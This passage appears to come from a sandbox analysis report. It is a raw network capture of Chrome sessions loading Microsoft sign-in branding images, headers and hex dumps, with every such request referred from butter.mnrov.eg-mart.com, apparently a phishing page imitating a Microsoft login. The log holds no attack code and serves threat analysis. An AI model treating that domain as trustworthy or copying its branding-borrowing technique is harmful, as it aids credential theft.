+U.JqZ><7&YIM?TD,~G#y"dT!//+KK%i{(EP0hVF.A$eZ2+\|f'i%&IeC#w{5cu$3ElnV+7z+Y@`GrkFupmhJj2m4#p~6Y]!n!*.Bk
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: 4d 3d cc 7b e1 2c db 54 f7 15 00 36 d5 51 50 8d 5c aa 69 f2 cf 1d 96 ad f6 a4 b5 29 c9 3b b2 5c c8 b0 d8 13 13 2b b3 0a 10 37 16 01 72 c8 53 e3 d7 13 4a ba a9 b8 7c cd 27 b5 78 b6 b5 61 7b 3c 29 28 8a 84 5b 3d 51 83 3d 00 93 b9 42 b0 ab 0e dc f4 ae 39 bc 9e 79 50 9c 13 66 16 f7 ec 83 8f 93 c5 6d 0c 2b 6e cb 13 4f 33 24 2d 5b 86 1b e3 3b 0a d3 72 e7 51 9b 13 ae 47 18 78 34 dd 96 e5 ff 00 42 6a e4 ca f1 f6 9c ed cc 17 cf e4 f0 a4 f5 fb f9 64 22 14 03 23 e4 7c d1 12 a2 4d a0 0c c6 3b 79 39 29 58 c4 c6 85 b6 80 7c ec 11 5b f2 73 35 bd c2 de da a6 c0 97 01 1a 30 d4 45 04 85 21 4e d0 d5 00 f5 d7 1d 3c 36 6e aa 54 3e c5 22 df 07 61 3d d1 31 c2 0b 14 ac 91 84 2a a1 40 a5 77 6e a7 a8 1a eb 8a b3 26 cc 35 73 ed 7e 6e 6b 7f ef 50 5c 6d f0 04 77 82 51 dc 64 d1 d5 08 Data Ascii: M={,T6QP\i);\+7rSJ\|'xa{<)([=Q=B9yPfm+nO3$-[;rQGx4Bjd"#\|M;y9)X\|[s50E!N<6nT>"a=1*@wn&5s~nkP\mwQd
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: e5 77 c1 2c 70 91 e5 94 9d eb 08 21 03 9a 51 89 63 9e d4 aa 8a 7c 71 a7 1f 06 53 7a 2e e1 00 88 ed 7c 8a f2 4a 49 67 ab 6f 19 29 35 c7 6b 71 a1 52 5c b5 b7 51 29 12 8a 46 91 17 2f 97 e8 c9 ce 75 a9 cf 2a 0c 45 9e 30 23 4d 25 ed bd 95 a0 92 d6 48 56 79 93 6e c1 29 90 6d 92 30 b9 ac 61 8a b1 62 4d 59 86 42 9a 65 8e 1f b4 ee e1 cc 22 10 02 d6 29 6e 79 58 23 33 33 91 94 62 52 76 2c 6b f5 35 6b 92 8a 68 3a 63 ad c5 68 dc 14 12 f7 dc 5b ae ec ee 05 d9 94 34 5b 21 f1 85 64 86 34 fa 23 51 1f d3 ae ec f3 f5 ae 39 fc 2e 46 d3 4d 47 f5 f5 04 67 ae 6d 21 8c 42 a8 3b ee 33 1b c9 a2 b0 ca 94 a7 c7 1d 8a cd b0 4c dc 7b 4a 2b 9e 32 71 64 91 bc 32 cd bd e7 57 5f 24 4c a9 13 3d 0a 50 49 b8 6e 56 51 5a 1e bf 0f 37 ca af dc ce b1 f8 91 6c 94 3d c9 cc 71 d7 5c 77 19 c5 59 5f Data Ascii: w,p!Qc\|qSz.\|JIgo)5kqR\Q)F/u*E0#M%HVyn)m0abMYBe")nyX#33bRv,k5kh:ch[4[!d4#Q9.FMGgm!B;3L{J+2qd2W_$L=PInVQZ7l=q\wY_
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: b9 00 26 87 af 60 fe 39 63 83 9b 95 6e 4d fe dd 09 6c 17 cb c1 34 86 38 be 85 2b e5 0c 73 56 ad 68 37 6a 5b 5a fa 69 8e 9e 0b 25 91 ac 14 ad ed a5 55 00 0d b2 51 aa 49 a0 da 28 47 f1 c7 45 ac 0d 9b ae 1e db 89 93 8c 9e e1 2c 24 bb 9a d8 f9 89 91 49 59 d9 c6 d4 47 11 ef 44 a4 82 8a 74 a6 ba e3 c5 f2 39 2e b9 21 da 13 c7 cb bb f5 32 9c 89 c5 f0 f2 11 6d 14 97 67 ec 6e 23 49 60 93 ca b5 4a 2b 08 d7 76 ca a4 84 ee fa 7f 1c 47 3f 93 ac 29 b2 79 c6 bf e0 1b 1d ee bb 08 9b 80 b8 ba 24 cd 75 3d 25 df 1c 8b b1 45 43 4a b2 a2 bb 2b d1 73 2c 07 a6 32 f0 3c 8f fd ca 91 09 63 4f c2 30 55 5e 40 bc 3c d7 4b 4b 5b a7 8b c2 50 88 d6 52 b1 fd 34 14 e8 73 a5 3d 71 ea 79 3c 55 fd ca 64 a6 5a f7 2f 28 63 e3 3e ca 0b 93 2a dc b2 cb 72 57 68 55 4c e9 1a 95 cf b8 8c ff 00 d2 06 Data Ascii: &`9cnMl48+sVh7j[Zi%UQI(GE,$IYGDt9.!2mgn#I`J+vG?)y$u=%ECJ+s,2<cO0U^@<KK[PR4s=qy<UdZ/(c>*rWhUL
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: b5 76 c9 9b b1 37 b9 7d af ce 59 5c 35 ed ce fb a1 c8 cd 2e d0 a4 b3 e4 d5 3b 8e e6 19 d6 be a3 13 e3 f9 74 e4 c2 e8 0a d2 50 e1 f8 b1 c8 22 49 76 8b 1d bd e3 98 63 bd da 48 52 a5 5e 43 1a 0a 54 81 41 95 4d 0e 1f 3f 33 e3 fd ba ae 80 ed 05 8b 8b 2e 32 58 e6 b5 8e 71 1c 30 80 20 bc 68 d4 4d 2e d8 c3 12 ca b5 3f 56 41 41 39 53 19 7d ee 44 d5 a2 5b d5 74 42 52 03 82 de 67 ba 8e 2d be 42 df b6 a1 08 a9 1e 95 cc 0c 7a 1b 94 49 72 1c b7 e3 6d 6d 2d b6 4f 0c f1 f2 b1 94 30 42 ea e5 16 16 03 bd 82 e4 4b 6e ed 39 28 a6 39 ef c8 de 8d 6d 26 5b 2f 5f cb 29 82 37 b9 b1 32 41 6a 7e dc 1c 9f f6 e2 92 8d 98 89 7c 5b 76 ed 24 e6 c7 d7 1c f5 89 69 3c bf 8f a9 29 15 39 18 23 e5 79 1b 7e 3e c6 d5 e2 9d 9a 90 c2 1a a1 23 3d c1 1e bb 40 02 9d cc 7a 66 74 c1 c3 67 c5 57 6b b5 Data Ascii: v7}Y\5.;tP"IvcHR^CTAM?3.2Xq0 hM.?VAA9S}D[tBRg-BzIrmm-O0BKn9(9m&[/_)72Aj~\|[v$i<)9#y~>#=@zftgWk
2024-11-14 15:39:58 UTC	16384	IN	Data Raw: 2a a9 c8 12 54 85 39 74 c6 15 b5 53 99 11 d7 9c 78 b4 8a 3b 7b 69 10 cb 21 5f 20 5d d5 22 87 26 a5 16 95 6d 08 cf e5 83 8b 9b 7b 6d ac 20 4c b3 67 65 c8 34 0b 1f 6b 6e 8c c8 51 c0 55 51 5a 10 76 d2 b5 db 5f f9 63 1e 5e 4e 39 91 13 da f0 53 4c d1 a3 ee 8e dd 0d 6e 03 9d aa 2a 72 d4 83 d4 f5 cf f0 c4 72 79 49 4b d5 f4 13 b0 4d ad 56 f6 78 ed ad 77 c1 2a 96 3e 45 0b 59 36 80 3b 55 4e 40 03 5c 8e 64 fa e3 9b 8d ba a7 6b 65 3e 9d 89 6e 0d f7 fe 3c e0 ec f8 8b 3b 9e 54 c9 3b 2d bb bc 8f 2c 8a d1 c0 b5 3b 3b 37 29 d7 f5 30 a6 58 f1 ff 00 97 e5 bd da 49 28 8f ab f4 34 ab 32 7e f9 92 7f 74 7b 94 c9 c7 df 48 2d 59 17 7a 66 a8 be 24 52 cc 10 e8 8c ee 69 dd 9e b9 e5 8e ef e3 dd 3c 7e 19 b5 54 ff 00 70 76 83 34 17 92 bd be 30 c9 1a 5c 24 5b e1 b7 44 0b 09 68 de 8b 25 Data Ascii: T9tSx;{i!_ ]"&m{m Lge4knQUQZv_c^N9SLnrryIKMVxw*>EY6;UN@\dke>n<;T;-,;;7)0XI(42~t{H-Yzf$Ri<~Tpv40\$[Dh%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	62145	13.107.246.45	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:57 UTC	700	OUT	GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/bannerlogo?ts=638633076084388030 HTTP/1.1 Host: aadcdn.msftauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:57 UTC	763	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 15:39:57 GMT Content-Type: image/* Content-Length: 9788 Connection: close Cache-Control: public, max-age=86400 Last-Modified: Mon, 30 Sep 2024 15:40:08 GMT ETag: 0x8DCE16629FE5022 x-ms-request-id: 23babe1c-601e-001e-48ab-36b774000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241114T153957Z-16547b76f7f7lhvnhC1DFWa2k00000000kng00000000tcfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-11-14 15:39:57 UTC	9788	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 f1 00 00 00 b2 08 06 00 00 00 cb 6b 90 0a 00 00 00 09 70 48 59 73 00 00 2c 4a 00 00 2c 4a 01 77 7a 74 4d 00 00 20 00 49 44 41 54 78 9c ed dd 4f 68 24 57 9e 27 f0 af ec 42 3e d4 21 b5 dd e0 85 07 6d 45 41 17 8c c1 6b 65 83 87 69 10 b4 c2 e0 39 76 4b 86 b9 b6 15 a6 f7 da 53 ea ed bd 1a 67 ad af db 6b d9 7d 6d 53 a9 f6 75 8c 55 7d 9d 06 87 0c 3a 4d 81 53 83 0f 0d 1e b6 22 6b e0 c1 56 d3 58 39 8c 0f 16 6e b4 87 78 51 95 52 65 c6 bf 8c 78 bf 78 2f be 1f 10 65 57 46 c6 7b 25 a5 32 7f f1 8b df fb bd b5 cb cb 4b 10 11 11 11 f9 e0 74 6d 7d 08 60 a3 e6 d3 93 ed cb 8b a4 a1 79 6c 00 18 4a 8d 4f fe bb 21 3d 01 22 22 22 a2 06 1d 02 d8 a9 f9 dc bb 00 46 75 07 3e 5d 5b 0f 01 44 00 f6 00 0c 6a 9e 63 06 e0 18 c0 f1 Data Ascii: PNGIHDRkpHYs,J,JwztM IDATxOh$W'B>!mEAkei9vKSgk}mSuU}:MS"kVX9nxQRexx/eWF{%2Ktm}`ylJO!="""Fu>][Djc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	62147	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:57 UTC	660	OUT	GET /shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:57 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340056 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:57 GMT Etag: 0x8DB5C3F45F17088 Last-Modified: Wed, 24 May 2023 10:11:42 GMT Server: ECAcc (lhc/794F) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: faa41e65-501e-0046-4aad-7d733b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-11-14 15:39:57 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	62149	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:58 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:58 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20340057 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:58 GMT Etag: 0x8DB5C3F45F17088 Last-Modified: Wed, 24 May 2023 10:11:42 GMT Server: ECAcc (lhc/794F) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: faa41e65-501e-0046-4aad-7d733b000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-11-14 15:39:58 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	62150	13.107.246.45	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:58 UTC	456	OUT	GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/bannerlogo?ts=638633076084388030 HTTP/1.1 Host: aadcdn.msftauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:58 UTC	763	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 15:39:58 GMT Content-Type: image/* Content-Length: 9788 Connection: close Cache-Control: public, max-age=86400 Last-Modified: Mon, 30 Sep 2024 15:40:08 GMT ETag: 0x8DCE16629FE5022 x-ms-request-id: 3df85ab1-701e-002d-72ab-36e8df000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241114T153958Z-r178fb8d765jv86hhC1DFW8pt000000002tg0000000056bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-11-14 15:39:58 UTC	9788	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 f1 00 00 00 b2 08 06 00 00 00 cb 6b 90 0a 00 00 00 09 70 48 59 73 00 00 2c 4a 00 00 2c 4a 01 77 7a 74 4d 00 00 20 00 49 44 41 54 78 9c ed dd 4f 68 24 57 9e 27 f0 af ec 42 3e d4 21 b5 dd e0 85 07 6d 45 41 17 8c c1 6b 65 83 87 69 10 b4 c2 e0 39 76 4b 86 b9 b6 15 a6 f7 da 53 ea ed bd 1a 67 ad af db 6b d9 7d 6d 53 a9 f6 75 8c 55 7d 9d 06 87 0c 3a 4d 81 53 83 0f 0d 1e b6 22 6b e0 c1 56 d3 58 39 8c 0f 16 6e b4 87 78 51 95 52 65 c6 bf 8c 78 bf 78 2f be 1f 10 65 57 46 c6 7b 25 a5 32 7f f1 8b df fb bd b5 cb cb 4b 10 11 11 11 f9 e0 74 6d 7d 08 60 a3 e6 d3 93 ed cb 8b a4 a1 79 6c 00 18 4a 8d 4f fe bb 21 3d 01 22 22 22 a2 06 1d 02 d8 a9 f9 dc bb 00 46 75 07 3e 5d 5b 0f 01 44 00 f6 00 0c 6a 9e 63 06 e0 18 c0 f1 Data Ascii: PNGIHDRkpHYs,J,JwztM IDATxOh$W'B>!mEAkei9vKSgk}mSuU}:MS"kVX9nxQRexx/eWF{%2Ktm}`ylJO!="""Fu>][Djc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	62151	13.107.246.45	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:59 UTC	458	OUT	GET /c1c6b6c8-kvmpe46lae-jcs91vhnee67h2tbwkcjgakvyqk1j76s/logintenantbranding/0/illustration?ts=638633096749532030 HTTP/1.1 Host: aadcdn.msftauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:40:00 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 15:40:00 GMT Content-Type: image/* Content-Length: 234265 Connection: close Cache-Control: public, max-age=86400 Last-Modified: Mon, 30 Sep 2024 16:14:35 GMT ETag: 0x8DCE16AF9CFF2E4 x-ms-request-id: 9c37458f-701e-003d-6bab-362db7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241114T154000Z-1749fc9bdbdjgplnhC1DFWhrks00000002h000000000gvxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-11-14 15:40:00 UTC	15599	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 1f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 61 36 61 36 33 39 36 38 61 2c 20 32 30 32 34 2f 30 33 2f 30 36 2d 31 31 3a 35 32 3a 30 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 Data Ascii: ExifII*Ducky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.a6a63968a, 2024/03/06-11:52:05 "> <rdf:RDF
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: d1 31 af 70 4c ce c7 2b db dd a4 91 47 e5 45 50 1c 10 6a 54 31 77 01 80 eb d5 a9 8e d8 95 92 83 d6 b2 3f dc 5e b7 18 b1 aa c2 1f c7 04 f2 46 e1 77 c4 69 d8 0a 02 68 95 dc b5 ff 00 56 59 63 2d 12 dc 4b d0 bf 7f ee 6b de 3e f9 1e 4b cb 9e 41 8c 30 5c 5e 40 b2 b4 11 50 c7 b5 a2 a0 a3 76 76 c6 c1 7d 0e 7e 8e b5 4d 63 08 95 53 2f 3d a4 b2 c7 2c e1 d0 db 23 09 a6 8a 10 a9 10 de c6 a5 36 9f a5 48 a5 35 fc b1 a3 ba 4e 3a 97 24 c6 61 7a 67 9d 94 08 e0 1b 52 25 39 55 8b 00 a1 a9 dd 56 3b aa 3f 80 c6 76 ab ae 10 a0 0c 27 92 00 44 74 22 9d a5 85 48 1e a3 1b ed 4c b8 90 d7 b5 61 b4 8b 93 86 f6 f5 9d 2d e1 a4 db 23 00 f9 25 52 0a a1 ae e1 41 5a 9c 8f a6 30 f2 2f 15 69 6a 4b 3d 5b 94 e7 ee ee 04 77 b3 88 e7 37 36 cf 48 d0 6e 08 c2 40 0c 92 6f de c8 5e a6 b9 8a 57 e0 31 Data Ascii: 1pL+GEPjT1w?^FwihVYc-Kk>KA0\^@Pvv}~McS/=,#6H5N:$azgR%9UV;?v'Dt"HLa-#%RAZ0/ijK=[w76Hn@o^W1
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: c3 ff 00 6d 78 85 d4 d1 f1 8b 14 c6 32 ca 08 73 42 e0 00 3e ba d2 87 1e 67 2f 91 b2 db 68 bd d3 ff 00 29 83 32 48 79 3e 56 14 68 2f 15 ae f8 64 90 9b 3b e4 42 cc 3c 65 10 2a 4b 45 8f b5 73 05 a9 53 dd 5c f1 cf 7f 1b 8a d6 dc bd bc 9d 54 ff 00 41 c1 1f bb ef 2d 6e 22 31 5c 4a cd cb 02 ff 00 7e d2 34 06 e5 e5 92 3a c4 ce cb 1c 43 6a d4 69 5c bd 3a e9 e0 f1 3a b9 aa 8e 3e 9a c6 bd 86 82 1c 61 b4 bd b4 94 cb 0f db af 1a f0 b5 e2 2d 2e 61 58 51 40 57 72 db 19 91 36 8d c0 6e dc 47 d3 eb 87 91 c3 7a df 0e 77 4c 7c 7c 7c c8 7a 94 ac bd df c6 ca f7 f2 f2 c8 cd 0d f5 d1 d8 cb e2 57 45 64 a9 50 41 79 a2 51 41 40 9a d3 a1 c5 f3 ff 00 1d c9 ed fb 6e 36 af 5f 87 f5 0d a3 b9 3f 76 db cd 65 6d 6f c8 d9 9b 9b aa 06 b4 43 20 8e d9 17 b8 77 51 69 2e fa ea 48 35 c8 e5 8c b8 Data Ascii: mx2sB>g/h)2Hy>Vh/d;B<e*KEsS\TA-n"1\J~4:Cji\::>a-.aXQ@Wr6nGzwL\|\|\|zWEdPAyQA@n6_?vemoC wQi.H5
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: 0f 1e b5 e1 bd 9a ea bd 66 7e ac 7b 8d 8f 17 77 c7 5c da 58 2d cf b9 2e ac ae 24 01 66 e3 ae ee 63 91 cb f4 91 e6 0c fd 92 93 f4 49 9b 0a 02 34 c7 97 e4 f1 f2 be 4b 3a f0 d7 92 74 b2 51 f9 77 f5 08 90 87 b8 bd a4 79 0f 6c dc 2c 9b 36 ba 5b 85 b9 db 1c 52 c8 b1 c6 53 79 20 31 52 b1 90 36 b5 3a 8c b5 c7 27 07 f2 3f 6b c9 ad 5b 7a b9 cc a5 3f af d0 19 9b b2 9f 90 bd e3 78 ef 6c f3 e6 29 ad 1d 40 83 95 92 59 11 de 2f 1d 61 88 c9 22 92 b2 ee 65 dc 0f d0 32 5c 7a be 4e ca f2 3e 7e 29 de b5 49 4f cd c7 55 fa 89 e5 83 78 bb 8e 43 85 93 92 f6 f4 37 10 5f d8 59 b3 a4 16 b7 12 1f 0b ac 8b a4 25 01 0d b2 6d ca cc 1e b9 52 99 83 8e de 75 4e 4a d3 92 e9 d6 cf aa d5 7c ff 00 b0 db 33 1c ed bc 9e 38 c2 5a 7d a4 c1 e3 b7 0b 6f 2a 3c 42 e3 76 46 8f dc 1a 87 69 3b 8a fc 71 Data Ascii: f~{w\X-.$fcI4K:tQwyl,6[RSy 1R6:'?k[z?xl)@Y/a"e2\zN>~)IOUxC7_Y%mRuNJ\|38Z}o*<BvFi;q
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: 72 c7 27 25 aa 96 d4 26 52 e6 ef ad 1f c1 79 6d 62 b6 87 61 17 89 2b 99 55 a4 2e 4a ac 71 f6 12 bb 00 ae 5a e3 3e 0e 3c ba bb 37 db a0 26 0f 13 59 cb 49 a5 4d ec ca 3f ed ed 54 44 88 00 ce 94 07 f1 d6 b8 de 2c b0 bf 17 91 07 f9 1e 7e 47 e1 23 b0 8c 8b 79 22 b7 64 0a 54 21 09 2f c0 0a 97 d9 da a0 0a 2f a9 c7 07 1f 86 97 2b bb f7 4b fd 09 4b 25 8f 69 d9 0b 18 d7 96 01 9b ec d3 7b 28 45 50 8f 30 68 e2 56 93 46 2e 41 da a4 f4 24 65 85 e7 5a dc 9e c5 a3 c7 f7 15 99 9b 32 a7 2b 7c 66 e4 ee 27 69 25 26 49 65 43 e4 23 77 d2 11 18 ad 7b a8 35 c8 63 be b5 fb 75 8a 24 91 a6 84 33 45 6c 6e 56 2b 37 f2 94 7a 2b 82 59 9d c6 40 a9 a6 60 b6 9e b8 ba bb 47 b8 72 19 fb 6b ab 46 9a d6 f5 bf 75 e4 70 6d 83 a8 08 ee 